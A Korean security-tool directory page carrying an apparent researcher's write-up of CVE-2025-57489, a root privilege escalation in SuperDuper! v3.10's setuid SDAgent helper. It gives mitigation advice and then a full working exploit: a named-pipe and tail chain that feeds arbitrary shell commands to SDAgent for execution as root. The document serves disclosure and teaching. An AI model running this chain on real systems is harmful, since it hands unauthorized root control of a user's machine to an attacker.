Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-57489 — CVE-2025-57489에 대한 기술 분석 및 개념 증명 익스플로잇, 부적절한 setuid 바이너리 설계를 통해 SuperDuper! v3.10에서 권한 상승 취약점을 이용하여 임의의 root 명령 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/graypixel2121/cve-2025-57489
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming
GitHubgraypixel2121/cve-2025-57489

CVE-2025-57489

CVE-2025-57489에 대한 기술 분석 및 개념 증명 익스플로잇, 부적절한 setuid 바이너리 설계를 통해 SuperDuper! v3.10에서 권한 상승 취약점을 이용하여 임의의 root 명령 실행을 가능하게 합니다.

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-57489

설명

개발자 블로그에서:

SuperDuper의 잠금이 해제되어 관리자 비밀번호 입력 없이 실행이 가능해지면, 제3자 프로그램이 우리의 인증을 이용하여 관리자 권한으로 백업이 아닌 다른 작업을 실행할 수 있습니다.

CVE 설명:

Shirt Pocket SuperDuper! v3.10의 SDAgent 구성 요소에 있는 부적절한 접근 제어로 인해, setuid 바이너리의 부적절한 사용으로 인해 공격자가 루트 권한을 상승시킬 수 있습니다.

기여

이 저자는 취약점 발견자가 아닙니다. 발견자는 SuperDuper 개발자가 "익명의 보안 연구원"으로 식별했습니다. 이 취약점 발견에 대한 공로를 주장하지 않으며, 단지 기술적 분석에 관심을 가졌을 뿐입니다.

참고 자료

  • SuperDuper 보안 업데이트 v3.11
  • CVE-2025-57489

CVSS 3.1 점수: 8.1: 높음 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

완화 방법

이 취약점을 피하려면 SuperDuper! 애플리케이션을 삭제하거나 3.11 업데이트를 적용하세요.

경고: CVE-2025-61228 취약점을 피하기 위해 반드시 개발자 웹사이트에서 직접 업데이트를 다운로드해야 합니다.

면책 조항

이 익스플로잇 분석과 개념 증명은 교육 목적으로만 제공됩니다. 사용에 따른 책임은 사용자 본인에게 있습니다.

개괄 요약

SuperDuper! 애플리케이션의 SDAgent 구성 요소는 setuid 바이너리입니다. 설계/구현이 좋지 않아 SDAgent는 다른 애플리케이션이 요청한 셸 명령어를 실행하기 위해서만 존재하며, SDAgent는 요청 애플리케이션에 대한 검증을 수행하지 않고 어떤 종류의 셸 명령어가 요청될 수 있는지에 대한 안전장치도 구현하지 않은 것으로 보입니다. 결과적으로 공격자는 영향받는 버전의 SDAgent 도구를 이용하여 루트 권한으로 모든 셸 명령어를 실행할 수 있습니다. 개발자의 수정 사항은 SDAgent가 요청자를 확인하지 못한 문제만 해결하며, "꼭두각시" 도우미 도구 설계 자체는 그대로 두어 향후 공격에 취약할 수 있습니다.

분석: 꼭두각시가 되기

개발자의 문제 설명은 모호했지만, "SuperDuper의 잠금이 해제되면"이라는 언급 덕분에 곧바로 방향을 잡을 수 있었습니다. 이전 (여전히 취약한) 버전의 SuperDuper로 시작하여 잠금 아이콘을 클릭하고 인증했습니다. 활성 상태 보기에서 SuperDuper 관련 새 프로세스인 SDAgent가 나타난 것을 확인했습니다. SuperDuper 번들 파일에서 이 구성 요소를 찾아 터미널에서 속성을 살펴보았습니다. 잠금을 껐다 켠 후, SDAgent 파일이 잠금이 해제될 때마다 setuid 바이너리가 된다는 것을 알게 되었습니다. 그 속성과 파일 이름을 고려하여 이것이 "권한 있는 도우미 도구"여야 한다고 결론지었지만, 목적에 비해 너무 작아 보였습니다.

Setuid는 매우 오래된 권한 상승 방식이며, 일반적으로 "루트 권한이 필요한" 모든 기능을 도우미 도구 자체에 내장하고 그냥 작업을 요청하거나, 클라이언트 애플리케이션이 도우미 도구에 특정 요청을 할 수 있는 통신 경로를 개발합니다. 하지만 이 SDAgent 파일은 137KB에 불과하여 이 애플리케이션이 주장하는 모든 루트 권한 코드를 담고 있을 가능성은 낮아 보입니다. 호기심이 생겨 SDAgent에 "strings" 유틸리티를 실행하여 어떤 기능을 하는지 알아보았습니다. 이것은 매우 통찰력이 있었습니다. 출력이 거의 없었고(일반 애플리케이션 바이너리에서 볼 수 있는 것과 비교했을 때), 출력 내용은 SDAgent에 단 하나의 기능만 있음을 시사했습니다: 요청자가 제공한 모든 셸 스크립트를 실행하는 것입니다. 예:

root@kitploit:~
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process 
****DONE****

문자 그대로 모든 명령어를 실행하는 도우미 도구를 만드는 것은 좋은 설계가 아닙니다. "꼭두각시가 되지 마라"는 도우미 도구를 만들 때 지켜야 할 중요한 규칙입니다.

SuperDuper가 SDAgent를 열고 통신 파이프를 설정한 다음 셸 스크립트를 SDAgent에 보낼 것이라고 가정하고 진행했습니다. SuperDuper 애플리케이션 번들을 잠시 살펴보니 제 추측이 맞았습니다. 이 애플리케이션은 모든 복사 활동을 셸 스크립트를 통해 관리하는 것으로 보입니다.

처음에는 간단히 파이프로 명령어를 보내보려 했습니다:

root@kitploit:~
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done                printf "whoami" | 
zsh: segmentation fault  /Applications/SuperDuper!.app/Contents/MacOS/SDAgent

SDAgent가 충돌했습니다. 아마 그렇게 쉽지는 않을 것 같습니다! 포기하지 않고, 일반적으로 setuid 도우미 앱이 작동하는 방식에 대해 추측하기 시작했습니다. 셸 유틸리티 쌍 사이에서는 일반적으로 stdin, stdout, stderr용 파이프를 만든 다음 fork와 exec를 수행합니다. 자식 프로세스는 각 파이프의 복사본을 상속받으므로 양쪽이 자동으로 서로 통신 파이프를 열게 됩니다. 상위 수준 프레임워크에 링크된 애플리케이션에서는 fork()를 사용할 수 없습니다. 대신 자식 애플리케이션과 어떻게 통신할 것인지 알려주는 방법을 개발해야 합니다. "strings" 출력에서 단서를 얻었습니다:

root@kitploit:~
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent 
...
STDIN_PIPE_READ_FD
%i %i %i

"STDIN_PIPE_READ_FD" – 개발자는 여기서 무슨 일이 일어나고 있는지 매우 투명하게 드러냈습니다. otool로 이 문자열에 대한 더 많은 맥락을 얻을 수 있습니다:

root@kitploit:~
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent 
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8	leaq	0xa56(%rip), %rdi               ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af	callq	0x1000017f6                     ## symbol stub for: _getenv

좋습니다, 아마 환경 변수일 것입니다. 다시 간단한 파이프 해킹을 시도해보고, SDAgent가 stdin 파일 디스크립터(0)에서 제 명령어를 받을 것이라고 가정하겠습니다:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent

1557%

몇 번 반복한 후 "1557"이 생성된 SDAgent의 PID라는 것이 분명해졌습니다. 별로 도움이 되지 않았고(기대했던 "root" 출력도 아니었지만), 이번에는 충돌하지 않았으므로 고무적이었습니다. 파일 시스템 변경을 일으키는 명령어로 다시 시도했습니다:

root@kitploit:~
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent

1593%

파일이 생성되지 않았습니다. 이제 제대로 작업해야 할 때입니다. SIP를 비활성화하고 dtruss를 실행한 후 SuperDuper에 작업을 실행하도록 했습니다. 작업 시작을 인증한 직후, dtruss(SDAgent 프로세스에 연결)에서 다음과 같은 출력을 보았습니다:

root@kitploit:~
read(0x0, "21 23 24 \0", 0x800)		 = 9 0
dup2(0x15, 0x1, 0x0)		 = 1 0
dup2(0x17, 0x2, 0x0)		 = 2 0
write(0x1, "1615\0", 0x4)		 = 4 0

SDAgent는 처음에 파일 디스크립터 0(stdin)에서 입력을 읽습니다(아마 STDIN_PIPE_READ_FD가 가리키는 FD일 것입니다). 여기서 세 개의 숫자를 읽는 것을 볼 수 있습니다. 순서를 보면 SuperDuper가 세 개의 파이프를 열었고, 그 파이프들의 쓰기 끝, 쓰기 끝, 읽기 끝을 SDAgent에 보내는 것으로 추측됩니다. SDAgent는 그 중 처음 두 개를 stdout과 stderr로 dup2합니다(세 번째는 무엇에 사용되는지 알 수 없습니다). 마지막으로 현재 SDAgent의 PID인 "1615"를 stdout에 쓰고(이제 SuperDuper가 SDAgent PID를 알게 됨), fd 0에서 추가 명령어를 기다립니다. 여러 번 시행착오 끝에, SDAgent가 우리 명령을 수행하도록 하려면 먼저 일부 파일 디스크립터를 보내야 한다는 것이 분명해졌습니다. stdout(1)과 stderr(2)는 이미 셸 환경에서 열려 있고 쓰기 가능하므로, 다음과 같이 시도했습니다:

root@kitploit:~
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602

다시 충돌하지는 않았지만, 열성적인 십대처럼 SDAgent가 일찍 끝나고 기대했던 "root" 결과를 얻지 못했습니다. dtruss는 파일 디스크립터를 읽지만 나머지는 무시하는 것으로 나타났습니다. 널 문자열 종결자를 고려하면 당연한 일입니다. 아마도 이 문자열들 사이에 간격이 있어야 SDAgent가 별도의 요청으로 처리할 것입니다. 따라서 SDAgent를 여러 번 쓸 수 있는 파이프에 연결해야 합니다.

이 시점에서 간단한 C 애플리케이션을 작성하여 파이프를 열고 SDAgent를 fork한 후 stdin 파이프에 파일 디스크립터를 쓰고, 잠시 후 파이프에 인수(즉, 공격 페이로드)를 보내 실행할 수 있습니다. 그 코드를 작성하기 시작하면서, 50줄이 넘는 컴파일된 코드의 모든 기능을 두 개의 간단한 셸 명령어로 구현할 수 있다는 생각이 들었습니다. SDAgent 프로세스에 파이프를 설정하고 유지하는 방법만 있으면 됩니다. "mkfifo"가 이 목적에 적합합니다: fifo는 디스크에 파일로 존재하지만 여기에 파이프를 연결할 수 있습니다. 한쪽에서는 fifo에서 읽은 내용을 파이프 반대편의 SDAgent로 반복 전달하는 무언가가 필요합니다. 처음에는 파일 디스크립터를 파이프에 써야 하지만, 나중에 페이로드 명령어를 보낼 수 있도록 파이프를 열어두어야 합니다. 파이프 양쪽의 프로세스가 종료되면 파이프가 닫힙니다. tail 유틸리티와 백그라운드 연산자가 유용했습니다:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &

[1] 1964 1965

두 개의 백그라운드 작업이 생성되었습니다: tail(1964)과 SDAgent(1965). 두 프로세스 모두 백그라운드에서 계속 실행되므로 둘 사이의 파이프가 유지됩니다. tail은 fifo에 데이터가 추가되기를 기다리고, fifo에 데이터가 추가되면 SDAgent로 파이프합니다. 매우 간단합니다. 다음으로 파일 디스크립터를 보냅니다:

root@kitploit:~
printf "1 2 \0" > /tmp/puppet

dtruss는 SDAgent가 파일 디스크립터를 읽었고, SDAgent가 여전히 실행 중이며 추가 입력을 기다리고 있음을 보여주었습니다. 이제 결정적인 순간입니다:

root@kitploit:~
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****

작동했습니다! 다시 시도해볼까요?

root@kitploit:~
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****

바로 그겁니다! 모든 것을 하나의 복사/붙여넣기 셸 명령어 블록으로 합칠 때, SDAgent가 파일 디스크립터를 처리하는 데 여전히 약간 느리다는 것을 발견했습니다. 약간의 지연을 주면 완벽합니다:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet

루트 익스플로잇으로서 이것은 놀랍게도 발견하기 쉬웠으며 공격자가 악용하기에 정말 간단합니다.

도구 다운로드